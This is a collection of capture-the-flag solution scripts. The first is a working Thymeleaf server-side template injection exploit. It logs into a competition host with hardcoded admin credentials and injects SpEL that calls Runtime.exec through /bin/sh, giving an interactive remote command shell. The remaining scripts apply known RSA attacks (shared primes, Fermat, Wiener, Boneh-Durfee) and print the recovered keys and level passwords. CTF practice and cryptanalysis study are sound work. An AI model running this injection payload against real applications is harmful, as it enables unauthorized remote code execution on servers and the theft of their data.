1
#!/usr/bin/env python3
2
"""
3
Minimal Thymeleaf RCE helper.
4

5
Flow:
6
1. Login as admin.
7
2. Inject a preprocessed Thymeleaf fragment expression into /admin?section=...
8
3. Use a second-stage SpEL parser pivot to reflectively call Runtime.exec().
9
4. Base64-encode stdout on the target and decode it locally.
10

11
Usage:
12
    python thymeleaf_exec.py exec
13
    python thymeleaf_exec.py exec "id"
14
"""
15

16
from __future__ import annotations
17

18
import argparse
19
import base64
20
import sys
21
import urllib.error
22
import urllib.parse
23
import urllib.request
24
from http.cookiejar import CookieJar
25

26

27
DEFAULT_BASE_URL = "http://12997a3f-04dd-4044-94d7-f769d45cc076.36.dart.ccsssc.com"
28
DEFAULT_USERNAME = "admin"
29
DEFAULT_PASSWORD = "0041013152290433"
30
USER_AGENT = "Mozilla/5.0 Codex CTF Helper" # codex 的小巧思
31

32

33
def spel_string(value: str) -> str:
34
    return "'" + value.replace("'", "''") + "'"
35

36

37
def preprocess_wrapper(expr_body: str) -> str:
38
    escaped = expr_body.replace("\\", "\\\\").replace("'", "\\'")
39
    return f"__'$'+'{{'+'{escaped}'+'}}'__"
40

41

42
def shell_command_to_argv_literal(command: str) -> str:
43
    encoded = base64.b64encode(command.encode()).decode()
44
    shell_argv = f"/bin/sh,-c,echo {encoded}|base64 -d|/bin/sh"
45
    return f"{spel_string(shell_argv)}.split(',')"
46

47

48
def build_exec_expr(command: str) -> str:
49
    inner = (
50
        "{"
51
        "#r=getClass().getClassLoader().loadClass('java.lang.Runtime').getMethod('getRuntime').invoke(null),"
52
        f"#a={shell_command_to_argv_literal(command)},"
53
        "#p=#r.exec(#a),"
54
        "#s=getClass().getClassLoader().loadClass('java.lang.Process').getMethod('getInputStream').invoke(#p),"
55
        "#b=getClass().getClassLoader().loadClass('java.io.InputStream').getMethod('readAllBytes').invoke(#s),"
56
        "#e=getClass().getClassLoader().loadClass('java.util.Base64').getMethod('getEncoder').invoke(null),"
57
        "#e.getClass().getMethod('encodeToString',#b.getClass()).invoke(#e,#b)"
58
        "}[6]"
59
    )
60
    return (
61
        "#response.getWriter().print("
62
        "@webSecurityExpressionHandler.getExpressionParser()"
63
        f".parseExpression({spel_string(inner)}).getValue(@environment)"
64
        ")?:'main'"
65
    )
66

67

68
class ExploitClient:
69
    def __init__(self, base_url: str, timeout: float) -> None:
70
        self.base_url = base_url.rstrip("/")
71
        self.timeout = timeout
72
        self.cookies = CookieJar()
73
        self.opener = urllib.request.build_opener(
74
            urllib.request.HTTPCookieProcessor(self.cookies)
75
        )
76
        self.opener.addheaders = [("User-Agent", USER_AGENT)]
77

78
    def _open(self, request: urllib.request.Request) -> tuple[int, str]:
79
        try:
80
            with self.opener.open(request, timeout=self.timeout) as response:
81
                body = response.read().decode("utf-8", errors="replace")
82
                return response.getcode(), body
83
        except urllib.error.HTTPError as exc:
84
            body = exc.read().decode("utf-8", errors="replace")
85
            return exc.code, body
86

87
    def login(self, username: str, password: str) -> None:
88
        data = urllib.parse.urlencode(
89
            {"username": username, "password": password}
90
        ).encode()
91
        request = urllib.request.Request(
92
            f"{self.base_url}/dologin",
93
            data=data,
94
            headers={"Content-Type": "application/x-www-form-urlencoded"},
95
        )
96
        self._open(request)
97

98
        status, body = self.request_section("main")
99
        if status != 200 or "bi-speedometer2" not in body:
100
            raise RuntimeError("admin login failed or session is not authorized")
101

102
    def request_section(self, section: str) -> tuple[int, str]:
103
        url = f"{self.base_url}/admin?section={urllib.parse.quote(section, safe='')}"
104
        return self._open(urllib.request.Request(url))
105

106
    def execute_command(self, command: str, debug: bool = False) -> str:
107
        status, body = self.request_section(preprocess_wrapper(build_exec_expr(command)))
108
        if status != 200:
109
            message = f"server returned HTTP {status}"
110
            if debug and body:
111
                message += f"\n{body}"
112
            raise RuntimeError(message)
113

114
        output = extract_prefix_before_fragment(body)
115
        if output is None:
116
            if debug and body:
117
                raise RuntimeError(f"output not found\n{body}")
118
            raise RuntimeError("output not found")
119
        return base64.b64decode(output).decode("utf-8", errors="replace")
120

121

122
def extract_prefix_before_fragment(body: str) -> str | None:
123
    marker = "<div>"
124
    idx = body.find(marker)
125
    if idx == -1:
126
        return None
127
    prefix = body[:idx]
128
    return prefix if prefix else None
129

130

131
def build_parser() -> argparse.ArgumentParser:
132
    parser = argparse.ArgumentParser(description="Minimal Thymeleaf exec shell")
133
    parser.add_argument("--base-url", default=DEFAULT_BASE_URL)
134
    parser.add_argument("--username", default=DEFAULT_USERNAME)
135
    parser.add_argument("--password", default=DEFAULT_PASSWORD)
136
    parser.add_argument("--timeout", type=float, default=10.0)
137
    parser.add_argument("--debug", action="store_true")
138
    parser.add_argument("mode", choices=["exec"])
139
    parser.add_argument("command", nargs="?", help="optional command to run first")
140
    return parser
141

142

143
def repl(client: ExploitClient, initial_command: str | None, debug: bool) -> int:
144
    if initial_command:
145
        try:
146
            output = client.execute_command(initial_command, debug=debug)
147
            if output:
148
                sys.stdout.write(output)
149
                if not output.endswith("\n"):
150
                    sys.stdout.write("\n")
151
        except Exception as exc:
152
            print(f"[!] {exc}", file=sys.stderr)
153

154
    while True:
155
        try:
156
            command = input("rce$ ").strip()
157
        except EOFError:
158
            print()
159
            return 0
160
        except KeyboardInterrupt:
161
            print()
162
            return 0
163

164
        if not command:
165
            continue
166
        if command in {"exit", "quit"}:
167
            return 0
168

169
        try:
170
            output = client.execute_command(command, debug=debug)
171
        except Exception as exc:
172
            print(f"[!] {exc}", file=sys.stderr)
173
            continue
174

175
        if output:
176
            sys.stdout.write(output)
177
            if not output.endswith("\n"):
178
                sys.stdout.write("\n")
179

180

181
def main() -> int:
182
    args = build_parser().parse_args()
183
    client = ExploitClient(args.base_url, args.timeout)
184

185
    try:
186
        client.login(args.username, args.password)
187
    except Exception as exc:
188
        print(f"[!] Login failed: {exc}", file=sys.stderr)
189
        return 1
190

191
    return repl(client, args.command, args.debug)
192

193

194
if __name__ == "__main__":
195
    raise SystemExit(main())

1
import glob
2
import math
3
import re
4
from math import isqrt
5

6
from Crypto.Cipher import AES, PKCS1_OAEP
7
from Crypto.PublicKey import RSA
8
from Crypto.Util.number import bytes_to_long, inverse
9

10

11
def is_square(value):
12
    if value < 0:
13
        return False
14
    root = isqrt(value)
15
    return root * root == value
16

17

18
def continued_fraction(numerator, denominator):
19
    while denominator:
20
        quotient = numerator // denominator
21
        yield quotient
22
        numerator, denominator = denominator, numerator - quotient * denominator
23

24

25
def convergents(terms):
26
    prev_num, prev_den = 1, 0
27
    curr_num, curr_den = terms[0], 1
28
    yield curr_num, curr_den
29
    for term in terms[1:]:
30
        prev_num, curr_num = curr_num, term * curr_num + prev_num
31
        prev_den, curr_den = curr_den, term * curr_den + prev_den
32
        yield curr_num, curr_den
33

34

35
def wiener_attack(n_value, e_value):
36
    terms = list(continued_fraction(e_value, n_value))
37
    for k_value, d_value in convergents(terms):
38
        if k_value == 0:
39
            continue
40
        if (e_value * d_value - 1) % k_value != 0:
41
            continue
42
        phi_value = (e_value * d_value - 1) // k_value
43
        sum_pq = n_value - phi_value + 1
44
        discriminant = sum_pq * sum_pq - 4 * n_value
45
        if not is_square(discriminant):
46
            continue
47
        delta = isqrt(discriminant)
48
        p_value = (sum_pq + delta) // 2
49
        q_value = (sum_pq - delta) // 2
50
        if p_value * q_value == n_value:
51
            return d_value, p_value, q_value
52
    return None
53

54

55
def fermat_factor(n_value):
56
    a_value = isqrt(n_value)
57
    if a_value * a_value < n_value:
58
        a_value += 1
59
    b_squared = a_value * a_value - n_value
60
    if not is_square(b_squared):
61
        return None
62
    b_value = isqrt(b_squared)
63
    p_value = a_value - b_value
64
    q_value = a_value + b_value
65
    if p_value * q_value == n_value:
66
        return p_value, q_value
67
    return None
68

69

70
def load_public_keys():
71
    return {
72
        path: RSA.import_key(open(path, "rb").read())
73
        for path in glob.glob("key-*.pem")
74
    }
75

76

77
def recover_private_keys(public_keys):
78
    private_keys = {}
79

80
    for left_name, right_name in [("key-1.pem", "key-2.pem"), ("key-4.pem", "key-15.pem")]:
81
        left_key = public_keys[left_name]
82
        right_key = public_keys[right_name]
83
        shared_prime = math.gcd(left_key.n, right_key.n)
84
        if shared_prime == 1:
85
            continue
86
        for name, public_key in ((left_name, left_key), (right_name, right_key)):
87
            other_prime = public_key.n // shared_prime
88
            phi_value = (shared_prime - 1) * (other_prime - 1)
89
            d_value = inverse(public_key.e, phi_value)
90
            private_keys[name] = RSA.construct(
91
                (public_key.n, public_key.e, d_value, int(shared_prime), int(other_prime))
92
            )
93

94
    for name in ["key-3.pem", "key-7.pem", "key-13.pem", "key-18.pem"]:
95
        public_key = public_keys[name]
96
        factors = fermat_factor(public_key.n)
97
        if factors is None:
98
            continue
99
        p_value, q_value = factors
100
        phi_value = (p_value - 1) * (q_value - 1)
101
        d_value = inverse(public_key.e, phi_value)
102
        private_keys[name] = RSA.construct(
103
            (public_key.n, public_key.e, d_value, int(p_value), int(q_value))
104
        )
105

106
    for name in ["key-6.pem", "key-12.pem", "key-17.pem"]:
107
        public_key = public_keys[name]
108
        recovered = wiener_attack(public_key.n, public_key.e)
109
        if recovered is None:
110
            continue
111
        d_value, p_value, q_value = recovered
112
        private_keys[name] = RSA.construct(
113
            (public_key.n, public_key.e, int(d_value), int(p_value), int(q_value))
114
        )
115

116
    return private_keys
117

118

119
def decrypt_ciphertext(ciphertext, private_key):
120
    key_size = (private_key.n.bit_length() + 7) // 8
121
    if len(ciphertext) <= key_size + 28:
122
        return None
123

124
    rsa_block = ciphertext[:key_size]
125
    nonce = ciphertext[key_size:key_size + 12]
126
    body = ciphertext[key_size + 12:-16]
127
    tag = ciphertext[-16:]
128

129
    if private_key.n.bit_length() >= 2048:
130
        symmetric_key = PKCS1_OAEP.new(private_key).decrypt(rsa_block)
131
    else:
132
        key_int = pow(bytes_to_long(rsa_block), private_key.d, private_key.n)
133
        symmetric_key = key_int.to_bytes(16, "big")
134

135
    cipher = AES.new(symmetric_key, AES.MODE_GCM, nonce=nonce)
136
    return cipher.decrypt_and_verify(body, tag).decode("utf-8")
137

138

139
def recover_plaintexts(private_keys):
140
    recovered = []
141
    for ciphertext_path in sorted(glob.glob("ciphertext-*.bin")):
142
        ciphertext = open(ciphertext_path, "rb").read()
143
        for key_path, private_key in private_keys.items():
144
            try:
145
                plaintext = decrypt_ciphertext(ciphertext, private_key)
146
            except Exception:
147
                continue
148
            recovered.append((ciphertext_path, key_path, plaintext))
149
            break
150
    return recovered
151

152

153
def crt_recover(shares):
154
    modulus_product = 1
155
    secret_value = 0
156
    for modulus, residue in shares:
157
        adjustment = ((residue - secret_value) % modulus) * inverse(modulus_product % modulus, modulus)
158
        secret_value += modulus_product * (adjustment % modulus)
159
        modulus_product *= modulus
160
    return secret_value
161

162

163
def recover_messages(plaintexts):
164
    line_groups = [plaintext.splitlines() for _, _, plaintext in plaintexts]
165
    messages = []
166

167
    for line_index in range(1, 10):
168
        shares = []
169
        bit_length = None
170
        for lines in line_groups:
171
            modulus_hex, residue_hex, bit_length_hex = lines[line_index].split(":")
172
            shares.append((int(modulus_hex, 16), int(residue_hex, 16)))
173
            bit_length = int(bit_length_hex, 16)
174

175
        secret_value = crt_recover(shares)
176
        byte_length = (bit_length + 7) // 8
177
        message = secret_value.to_bytes(byte_length, "big").decode("utf-8")
178
        messages.append(message)
179

180
    return messages
181

182

183
def main():
184
    public_keys = load_public_keys()
185
    private_keys = recover_private_keys(public_keys)
186
    plaintexts = recover_plaintexts(private_keys)
187

188
    print("Recovered plaintexts:")
189
    for ciphertext_path, key_path, _ in plaintexts:
190
        print(f"  {ciphertext_path} <- {key_path}")
191

192
    messages = recover_messages(plaintexts)
193
    print("\nRecovered messages:")
194
    for index, message in enumerate(messages, start=2):
195
        print(f"message{index}: {message}")
196

197
    password_match = re.search(r"next pass is\s+([^。.!?\s]+)", messages[5])
198
    if password_match:
199
        print(f"\nlevel2.zip password: {password_match.group(1)}")
200

201

202
if __name__ == "__main__":
203
    main()
204

205

206
# Recovered plaintexts:
207
#   ciphertext-1.bin <- key-3.pem
208
#   ciphertext-2.bin <- key-6.pem
209
#   ciphertext-3.bin <- key-4.pem
210
#   ciphertext-4.bin <- key-7.pem
211
#   ciphertext-5.bin <- key-17.pem
212
#   ciphertext-8.bin <- key-1.pem
213
#   ciphertext-9.bin <- key-18.pem
214

215
# Recovered messages:
216
# message2: Another success! One more cipher bites the dust!
217
# message3: You're nearly there! Keep going! 3!
218
# message4: You're nearly there! Keep going! 4!
219
# message5: You're nearly there! Keep going! 5!
220
# message6: You're nearly there! Keep going! 6!
221
# message7: Congratulations! next pass is 9Zr4M1ThwVCHe4nHnmOcilJ8。
222
# message8: You're nearly there! Keep going! 8!
223
# message9: You're nearly there! Keep going! 9!
224
# message10: You're nearly there! Keep going! 10!
225

226
# level2.zip password: 9Zr4M1ThwVCHe4nHnmOcilJ8

1
# sage
2

3
from Crypto.Util.number import bytes_to_long
4

5
n = 99573363048275234764231402769464116416087010014992319221201093905687439933632430466067992037046120712199565250482197004301343341960655357944577330885470918466007730570718648025143561656395751518428630742587023267450633824636936953524868735263666089452348466018195099471535823969365007120680546592999022195781
6
e = 12076830539295193533033212232487568888200963123024189287629493480058638222146972496110814372883829765692623107191129306190788976704250502316265439996891764101447017190377014980293589797403095249538391534986638973035285900867548420192211241163778919028921502305790979880346050428839102874086046622833211913299
7
c2 = 94664119872856479106437852390497826718494891787231788048637569911820802241271385500237521849783257742020074596801243551199558780516078698265978603364906102405513805258523893161481880920117078266554039648951735640682344760175446065823258414274759467738667667682764189886842676476993302026419523097311062869020
8
c3 = 17452842791128500883484238194649202112170709841838938382334668085116735124742824096780522905501631340623564870573855325492444043679562915249332054460794149403631363005265204604824764244033832504758820981926933304283896441280291037649477532990161765794023799333588888734136298348520144818810380374971149851767
9

10
m1 = int(bytes_to_long(b"Secret message: " + b"A" * 16))
11
poly2_tail = [-36, -94]
12
poly3_tail = [-11, -20, 11]
13

14
print('m1 bits =', m1.bit_length())
15

16
base2 = (poly2_tail[0] * m1 + poly2_tail[1] * (m1 ** 2)) % n
17
base3 = (poly3_tail[0] * m1 + poly3_tail[1] * (m1 ** 2) + poly3_tail[2] * (m1 ** 3)) % n
18

19
poly2_solutions = []
20
for a0 in range(-100, 101):
21
    m2 = (a0 + base2) % n
22
    if power_mod(m2, e, n) == c2:
23
        poly2_solutions.append((a0, m2))
24

25
poly3_solutions = []
26
for b0 in range(-100, 101):
27
    m3 = (b0 + base3) % n
28
    if power_mod(m3, e, n) == c3:
29
        poly3_solutions.append((b0, m3))
30

31
print('poly2 constant candidates:', poly2_solutions)
32
print('poly3 constant candidates:', poly3_solutions)
33

34
if len(poly2_solutions) == 1:
35
    print('poly2_coeffs =', [poly2_solutions[0][0], *poly2_tail])
36

37
if len(poly3_solutions) == 1:
38
    print('poly3_coeffs =', [poly3_solutions[0][0], *poly3_tail])
39

40

41
# poly2 constant candidates: [(-93, 99573363048275234764231402769464116416087010014992319221201093905687439933632430466067992037046120712199565250482197004301343341960655357944577330885470784715126722435921158895824665419913269528424690262728739845116112902395244885358750961250230177487431633851514465414044256040642577828582899149891719854950)]
42
# poly3 constant candidates: [(-62, 590399365140190500740178423662367772903589621587965145437106442287659685984583084035886694058638088624923974452002966178281019771676234250192738895337223105057659985735636036756556266252170949070631521235867134358008101532167944494)]
43
# poly2_coeffs = [-93, -36, -94]
44
# poly3_coeffs = [-62, -11, -20, 11]

1
# AI 速搓
2
debug = False
3
strict = False
4
helpful_only = True
5
dimension_min = 7
6

7
def helpful_vectors(BB, modulus):
8
    nothelpful = 0
9
    for ii in range(BB.dimensions()[0]):
10
        if BB[ii, ii] >= modulus:
11
            nothelpful += 1
12
    print(nothelpful, '/', BB.dimensions()[0], 'vectors are not helpful')
13

14
def matrix_overview(BB, bound):
15
    for ii in range(BB.dimensions()[0]):
16
        line = ('%02d ' % ii)
17
        for jj in range(BB.dimensions()[1]):
18
            line += '0' if BB[ii, jj] == 0 else 'X'
19
            if BB.dimensions()[0] < 60:
20
                line += ' '
21
        if BB[ii, ii] >= bound:
22
            line += '~'
23
        print(line)
24

25
def remove_unhelpful(BB, monomials, bound, current):
26
    if current == -1 or BB.dimensions()[0] <= dimension_min:
27
        return BB
28

29
    for ii in range(current, -1, -1):
30
        if BB[ii, ii] >= bound:
31
            affected_vectors = 0
32
            affected_vector_index = 0
33

34
            for jj in range(ii + 1, BB.dimensions()[0]):
35
                if BB[jj, ii] != 0:
36
                    affected_vectors += 1
37
                    affected_vector_index = jj
38

39
            if affected_vectors == 0:
40
                BB = BB.delete_columns([ii])
41
                BB = BB.delete_rows([ii])
42
                monomials.pop(ii)
43
                return remove_unhelpful(BB, monomials, bound, ii - 1)
44

45
            if affected_vectors == 1:
46
                affected_deeper = True
47
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
48
                    if BB[kk, affected_vector_index] != 0:
49
                        affected_deeper = False
50
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
51
                    BB = BB.delete_columns([affected_vector_index, ii])
52
                    BB = BB.delete_rows([affected_vector_index, ii])
53
                    monomials.pop(affected_vector_index)
54
                    monomials.pop(ii)
55
                    return remove_unhelpful(BB, monomials, bound, ii - 1)
56

57
    return BB
58

59
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
60
    PR = PolynomialRing(ZZ, names=('u', 'x', 'y'))
61
    u, x, y = PR.gens()
62
    Q = PR.quotient(x * y + 1 - u)
63
    polZ = Q(pol).lift()
64

65
    UU = XX * YY + 1
66

67
    gg = []
68
    for kk in range(mm + 1):
69
        for ii in range(mm - kk + 1):
70
            xshift = x**ii * modulus**(mm - kk) * polZ(u, x, y)**kk
71
            gg.append(xshift)
72
    gg.sort()
73

74
    monomials = []
75
    for polynomial in gg:
76
        for monomial in polynomial.monomials():
77
            if monomial not in monomials:
78
                monomials.append(monomial)
79
    monomials.sort()
80

81
    for jj in range(1, tt + 1):
82
        for kk in range(floor(mm / tt) * jj, mm + 1):
83
            yshift = y**jj * polZ(u, x, y)**kk * modulus**(mm - kk)
84
            yshift = Q(yshift).lift()
85
            gg.append(yshift)
86

87
    for jj in range(1, tt + 1):
88
        for kk in range(floor(mm / tt) * jj, mm + 1):
89
            monomials.append(u**kk * y**jj)
90

91
    nn = len(monomials)
92
    BB = Matrix(ZZ, nn)
93
    for ii in range(nn):
94
        BB[ii, 0] = gg[ii](0, 0, 0)
95
        for jj in range(1, ii + 1):
96
            if monomials[jj] in gg[ii].monomials():
97
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU, XX, YY)
98

99
    if helpful_only:
100
        BB = remove_unhelpful(BB, monomials, modulus**mm, nn - 1)
101
        nn = BB.dimensions()[0]
102
        if nn == 0:
103
            return 0, 0
104

105
    if debug:
106
        helpful_vectors(BB, modulus**mm)
107
        det = BB.det()
108
        bound = modulus**(mm * nn)
109
        if det >= bound:
110
            print('det(L) is too large')
111
        else:
112
            print('det(L) < e^(m*n)')
113
        matrix_overview(BB, modulus**mm)
114

115
    BB = BB.LLL()
116

117
    found = False
118
    pol1 = None
119
    pol2 = None
120
    rr = None
121

122
    for pol1_idx in range(nn - 1):
123
        for pol2_idx in range(pol1_idx + 1, nn):
124
            PRwz = PolynomialRing(ZZ, names=('w', 'z'))
125
            w, z = PRwz.gens()
126
            pol1 = 0
127
            pol2 = 0
128
            for jj in range(nn):
129
                pol1 += monomials[jj](w * z + 1, w, z) * BB[pol1_idx, jj] / monomials[jj](UU, XX, YY)
130
                pol2 += monomials[jj](w * z + 1, w, z) * BB[pol2_idx, jj] / monomials[jj](UU, XX, YY)
131
            PRq = PolynomialRing(ZZ, names=('q',))
132
            qvar = PRq.gen()
133
            rr = pol1.resultant(pol2)
134
            if rr.is_zero() or rr.monomials() == [1]:
135
                continue
136
            found = True
137
            break
138
        if found:
139
            break
140

141
    if not found:
142
        return 0, 0
143

144
    rr = rr(qvar, qvar)
145
    soly = rr.roots()
146
    if len(soly) == 0:
147
        return 0, 0
148

149
    soly = soly[0][0]
150
    ss = pol1(qvar, soly)
151
    solx = ss.roots()[0][0]
152
    return solx, soly
153

154
P = PolynomialRing(ZZ, names=('x', 'y'))
155
x, y = P.gens()
156
A = Integer((n + 1) // 2)
157
pol = 1 + x * (A + y)
158

159
delta_bd = RealNumber('0.18')
160
base_X = 2 * floor(n**delta_bd)
161
base_Y = floor(n**RealNumber('0.5'))
162

163
attempts = [
164
    (4, int((1 - 2 * delta_bd) * 4), base_X),
165
    (5, int((1 - 2 * delta_bd) * 5), base_X),
166
    (6, int((1 - 2 * delta_bd) * 6), base_X),
167
    (4, int((1 - 2 * delta_bd) * 4), max(2, base_X // 2)),
168
    (5, int((1 - 2 * delta_bd) * 5), max(2, base_X // 2)),
169
    (6, int((1 - 2 * delta_bd) * 6), max(2, base_X // 2)),
170
    (4, int((1 - 2 * delta_bd) * 4), max(2, base_X // 4)),
171
    (5, int((1 - 2 * delta_bd) * 5), max(2, base_X // 4)),
172
    (6, int((1 - 2 * delta_bd) * 6), max(2, base_X // 4)),
173
]
174

175
solution = None
176
for mm, tt, XX in attempts:
177
    print('trying m =', mm, 't =', tt, 'X bits =', Integer(XX).nbits())
178
    solx, soly = boneh_durfee(pol, e, mm, tt, XX, base_Y)
179
    print('raw roots =', solx, soly)
180
    if solx == 0:
181
        continue
182
    if hasattr(soly, 'denominator') and soly.denominator() != 1:
183
        continue
184
    pq_sum = Integer(-2 * soly)
185
    discr = pq_sum * pq_sum - 4 * n
186
    if discr < 0:
187
        continue
188
    sq = isqrt(discr)
189
    if sq * sq != discr:
190
        continue
191
    p = Integer((pq_sum + sq) // 2)
192
    q = Integer((pq_sum - sq) // 2)
193
    if p * q != n:
194
        continue
195
    solution = (mm, tt, Integer(XX), solx, Integer(soly), p, q, pq_sum)
196
    break
197

198
if solution is None:
199
    raise ValueError('Boneh-Durfee did not produce a valid p+q in the tested parameter range.')
200

201
mm, tt, XX, solx, soly, p, q, pq_sum = solution
202
lam = lcm(p - 1, q - 1)
203
d_recovered = inverse_mod(e, lam)
204

205
print('solution m,t =', (mm, tt))
206
print('x =', solx)
207
print('y =', soly)
208
print('p =', p)
209
print('q =', q)
210
print('recovered d bits =', Integer(d_recovered).nbits())
211
print('p + q =', pq_sum)
212

213
import hashlib
214
next_pass = hashlib.sha256(str(int(pq_sum)).encode()).hexdigest()
215
print('next pass is', next_pass)
216

217

218

219
# trying m = 4 t = 2 X bits = 186
220
# raw roots = 496258591718074527429170043115095924865510813103833661/2 -10020295495220878073771490384561845649096829673493750624144958177133915585353023383154202880717251284678128613660050987268057731031645192971482072576671459
221
# solution m,t = (4, 2)
222
# x = 496258591718074527429170043115095924865510813103833661/2
223
# y = -10020295495220878073771490384561845649096829673493750624144958177133915585353023383154202880717251284678128613660050987268057731031645192971482072576671459
224
# p = 10932961240863053140021227333995503042196506533433133299916502568289020826078008576745192725272664686384293526720057562101790406102729886343233171385110689
225
# q = 9107629749578703007521753435128188255997152813554367948373413785978810344628038189563213036161837882971963700600044412434325055960560499599730973768232229
226
# recovered d bits = 180
227
# p + q = 20040590990441756147542980769123691298193659346987501248289916354267831170706046766308405761434502569356257227320101974536115462063290385942964145153342918
228
# next pass is 2aa9c360df99cbb4209e4dbab5a9f9ffd86d34906e3206fecfdabf0bb7aeb5ac